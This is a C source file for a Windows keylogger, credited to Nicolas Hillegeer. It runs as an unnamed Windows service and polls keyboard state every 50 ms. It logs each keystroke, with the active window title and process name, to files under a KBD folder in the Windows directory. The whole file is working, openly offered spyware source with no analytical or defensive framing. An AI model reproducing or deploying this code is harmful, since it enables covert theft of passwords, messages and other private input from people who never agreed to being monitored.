/**
 * Copyright (c) 2006, Nicolas Hillegeer
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *     * Redistributions of source code must retain the above copyright
 *       notice, this list of conditions and the following disclaimer.
 *     * Redistributions in binary form must reproduce the above copyright
 *       notice, this list of conditions and the following disclaimer in the
 *       documentation and/or other materials provided with the distribution.
 *     * Neither the name of the <organization> nor the
 *       names of its contributors may be used to endorse or promote products
 *       derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
 * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
 * DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY
 * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
 * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
 * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
 * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
 * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#define WIN32_LEAN_AND_MEAN
#define NOGDI

#include <windows.h>
#include <psapi.h>

#define BUFFERSIZE 512

#define SHIFT   1
#define CONTROL 2
#define ALT     4

SERVICE_STATUS SecSrvStatus = {
    SERVICE_WIN32_OWN_PROCESS,
    SERVICE_RUNNING,
    SERVICE_ACCEPT_STOP,
    0,
    0,
    0,
    0,
};

SERVICE_STATUS_HANDLE hSecSrvStatus;

unsigned int nlist[] = {
    65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90,
    VK_SPACE, VK_RETURN, VK_TAB, VK_BACK, VK_CAPITAL,
    VK_NUMPAD0, VK_NUMPAD1, VK_NUMPAD2, VK_NUMPAD3, VK_NUMPAD4, VK_NUMPAD5, VK_NUMPAD6, VK_NUMPAD7, VK_NUMPAD8, VK_NUMPAD9,
    VK_MULTIPLY, VK_ADD, VK_SEPARATOR, VK_SUBTRACT, VK_DECIMAL, VK_DIVIDE,
    0
};

int __fastcall AppendToBuffer(unsigned char *buffer, unsigned int character, unsigned int state) {
    unsigned int bufferlength = lstrlen(buffer);

    switch (character) {
        case VK_RETURN:
            *(buffer + bufferlength) = '\r';
            *(buffer + ++bufferlength) = '\n';
            break;

        case VK_TAB:
            lstrcat(buffer, "[TAB]");
            bufferlength += 4;
            break;

        case VK_BACK:
            lstrcat(buffer, "[BCK]");
            bufferlength += 4;
            break;

        case VK_CAPITAL:
            lstrcat(buffer, "[CAP]");
            bufferlength += 4;
            break;

        default:
            if (state & CONTROL) {
                unsigned char ctrlbuffer[9];

                wsprintf(ctrlbuffer, "[CTRL-%c]", character);
                lstrcat(buffer, ctrlbuffer);
                bufferlength += 7;

                break;
            }

            if (state & SHIFT) {
                *(buffer + bufferlength) = character;
            }

            else {
                /* numpad other entry (*, +, /, -, ., ...) */
                if (character >= 106 && character <= 111)
                    character -= 64;

                /* numpad number entry (1, 2, 3, 4, ...) */
                if (character >= 96 && character <= 105)
                    character -= 48;

                /* upper-case to lower-case conversion because shift is not pressed */
                if (character >= 65 && character <= 90)
                    character += 32;

                *(buffer + bufferlength) = character;
            }

            break;
    }

    return(++bufferlength);
}

void KeyLog() {
    static HWND hwnd, hwndold;

    static HANDLE logfile, processhandle;

    static unsigned char windowtext[BUFFERSIZE] = "";
    static unsigned char writebuffer[BUFFERSIZE] = "";
    static unsigned char filename[BUFFERSIZE] = "";

    static unsigned long byteswritten;
    static unsigned long processid;

    unsigned int bufferlength = 0;
    unsigned int state = 0;

    unsigned int *i = nlist;

    do {
        if (GetAsyncKeyState(*i) == -32767)
            break;
    } while (*++i);

    if (!*i)
        return;

    ZeroMemory(writebuffer, BUFFERSIZE);

    hwnd = GetForegroundWindow();

    if (hwnd != hwndold) {
        GetWindowText(hwnd, windowtext, BUFFERSIZE - 1);

        lstrcat(writebuffer, "\r\n\r\n");
        lstrcat(writebuffer, windowtext);
        lstrcat(writebuffer, "\r\n");

        GetWindowThreadProcessId(hwnd, &processid);
        processhandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, processid);
        GetModuleBaseName(processhandle, NULL, filename, BUFFERSIZE);

        CloseHandle(processhandle);
        CloseHandle(logfile);

        logfile = CreateFile(
            filename, /* name of file */
            GENERIC_WRITE, /* acces type */
            FILE_SHARE_READ | FILE_SHARE_WRITE, /* share type */
            NULL, /* security, unused */
            OPEN_ALWAYS, /* creation distribution */
            FILE_FLAG_WRITE_THROUGH, /* attributes */
            NULL
        );

        SetFilePointer(logfile, 0, 0, FILE_END);
    }

    if (GetAsyncKeyState(16))
        state |= SHIFT;
    if (GetAsyncKeyState(17))
        state |= CONTROL;
    if (GetAsyncKeyState(18))
        state |= ALT;

    bufferlength = AppendToBuffer(writebuffer, *i, state);

    WriteFile(
        logfile, /* file handle */
        writebuffer, /* buffer */
        bufferlength, /* number of bytes to write */
        &byteswritten, /* not used, contains number of bytes written */
        NULL /* not used, overlapped IO */
    );

    hwndold = hwnd;
}

void WINAPI SecSrvCtrlHandler(unsigned long opcode) {
    if (opcode == SERVICE_CONTROL_STOP) {
        SecSrvStatus.dwCurrentState = SERVICE_STOPPED;

        SetServiceStatus(hSecSrvStatus, &SecSrvStatus);

        return;
    }

    SetServiceStatus(hSecSrvStatus, &SecSrvStatus);

    return;
}

void WINAPI ServiceMain(unsigned long argcount, char *arguments[]) {
    MSG msg;

    char buffer[MAX_PATH];

    hSecSrvStatus = RegisterServiceCtrlHandler("", SecSrvCtrlHandler);

    SetServiceStatus(hSecSrvStatus, &SecSrvStatus);

    GetWindowsDirectory(buffer, MAX_PATH);
    lstrcat(buffer, "\\KBD");
    CreateDirectory(buffer, NULL);
    SetCurrentDirectory(buffer);

    SetTimer(NULL, 0, 50, NULL);

    while (GetMessage(&msg, NULL, 0, 0))
        if (msg.message == WM_TIMER)
            KeyLog();

    return;
}

int main() {
    SERVICE_TABLE_ENTRY DispatchTable[] = {
        { "", ServiceMain },
        { NULL, NULL }
    };

    StartServiceCtrlDispatcher(DispatchTable);
}